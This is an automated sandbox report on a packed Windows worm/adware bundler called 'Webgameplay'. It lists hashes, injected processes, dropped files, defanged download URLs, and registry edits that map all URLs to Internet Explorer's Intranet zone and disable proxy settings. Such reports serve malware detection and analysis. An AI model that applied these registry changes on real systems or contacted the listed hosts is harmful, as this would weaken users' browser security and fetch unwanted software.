MD5: 3fcd408bdda9e50ad788f53e990019b1
SHA1: fa9daa040dd0e8a3296d3a7996efe72ccdc2f9e8
SHA256: 4a30c4f1d30e6102f66538b603125ffddb46e0cd89ea025f5ac6cf0924745edd
SSDeep: 12288:j6Wq4aaE6KwyF5L0Y2D1PqLlACsy t8J6DFZg/Rlbx:JthEVaPqLl1dY8oY1
Size: 528752 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2012-01-29 23:32:28
Analyzed on: WindowsXP SP3 32-bit

Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

schtasks.exe:1432
schtasks.exe:1716
nss4.exe:868
SPI.exe:960

The Worm injects its code into the following process(es):

~lfttcss.exe:224
%original file name%.exe:580

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:580 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_SWEETPAGE_DEEAL[1].ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\KREAPIXEL_BUBBLE_DEEAL[1].ini (309 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL.ini (349 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\CONDUIT.ini (485 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\setup.ini (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WEBGAMEPLAY.ini (391 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\AARTEMIS.ini (243 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\terms_easysoft_en.html (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\PCMAXIMIZER[1].ini (239 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\close.png (188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_MYPCBACKUP_PCMAXIMIZER[1].ini (136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\terms_easysoft_fr.html (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\CONDUIT[1].ini (485 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_AARTEMIS_DEEAL.ini (286 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@wajam[1].txt (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\WebGamePlay[1].air (252257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\service[1].exe (238361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\KREAPIXEL_AARTEMIS_DEEAL[1].ini (286 bytes)
%Documents and Settings%\%current user%\Application Data\~lfttcss.exe (63220 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (4820 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_BUBBLE_DEEAL.ini (309 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_IMMINENT_DEEAL.ini (273 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\KREAPIXEL_MAIN_OFFER[1].ini (373 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\eula[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\KREAPIXEL_IMMINENT_DEEAL[1].ini (273 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WAJAM.ini (257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\PCMAXIMIZER.ini (239 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\close[1].png (188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\US.ini (1548 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\SPEEDUPMYPC.ini (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\logo.png (1444 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\CONF[1].ini (145 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\WEBGAMEPLAY.air (66260 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\SPI[1].exe (27633 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MAIN_OFFER.ini (373 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\US[1].ini (774 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@wajam[2].txt (806 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\WEBGAMEPLAY_US[1].ini (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\MYPCBACKUP.ini (138 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\Install_BubbleDock[1].exe (180609 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_SWEETPAGE_DEEAL.ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\MYPCBACKUP[1].ini (138 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_EASYSOFT_EULA.ini (421 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\SPEEDUPMYPC[1].ini (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\WAJAM[1].ini (257 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\CONF.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\AARTEMIS[1].ini (243 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\WEBGAMEPLAY[1].ini (391 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\US[1].ini (774 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\emmbed[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\KREAPIXEL[1].ini (349 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\OPTIMIZERPRO[1].ini (184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\OPTIMIZERPRO.ini (184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\plugin.exe (212781 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO[1].ini (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\SPI.exe (7772 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO.ini (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MYPCBACKUP_PCMAXIMIZER.ini (136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\KREAPIXEL_EASYSOFT_EULA[1].ini (421 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\bubble.exe (48148 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_Temp_stcnzay.tmp\KREAPIXEL_MAIN_OFFER.html (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\logo[1].png (5041 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\close[2].png (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@wajam[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\US[1].ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\logo[1].png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\SPI[1].exe (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@wajam[2].txt (0 bytes)

The process nss4.exe:868 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\inetc.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\SearchProtect\Logs\sp_nss4.log (1847 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\SPtool.dll (65457 bytes)
%Program Files%\SearchProtect\Main\rep\SystemRepository.dat (590 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\SPtool.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\inetc.dll (0 bytes)

The process SPI.exe:960 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc2.tmp (2820 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss4.exe (72144 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\spidentifierimpl[1].exe (72144 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss4.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc1.tmp (0 bytes)

Registry activity

The process schtasks.exe:1432 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BE 89 6B C7 20 69 58 8C 0B A9 A5 27 DF 65 F6 AC"

The process schtasks.exe:1716 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 9F 37 78 A6 3C 43 E3 55 F8 12 D3 3D 22 BB C0"

The process ~lfttcss.exe:224 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE 7F 66 E7 D3 E8 F0 E4 8F 58 81 82 CE 68 AF 1E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:580 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data]
"~lfttcss.exe" = "wp_update scheduler"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 B0 09 E0 E1 E0 6E 45 B0 7B BB BF AA 83 E0 2B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nss4.exe:868 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 3A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D E8 D7 7F A5 8A 7F A4 20 FB 48 1F 7B 43 80 B0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process SPI.exe:960 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp\,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 39 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF 29 3F 7B B2 1D 17 A7 97 62 DA EB 65 C1 46 01"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.5.0.0
File Description: Webgameplay
Comments: Webgameplay
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://softs.illyx.com/setup/TESTNEWVERSION/COMMUN/CONF.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/SETUP/REGIE/WEBGAMEPLAY_US.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_EASYSOFT_EULA.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/WAJAM.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/MYPCBACKUP.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/AARTEMIS.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/CONDUIT.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_AARTEMIS_DEEAL.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_SWEETPAGE_DEEAL.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_BUBBLE_DEEAL.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_IMMINENT_DEEAL.ini	46.105.38.193
hxxp://softs.illyx.com/setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MYPCBACKUP_OPTIMIZERPRO.ini	46.105.38.193
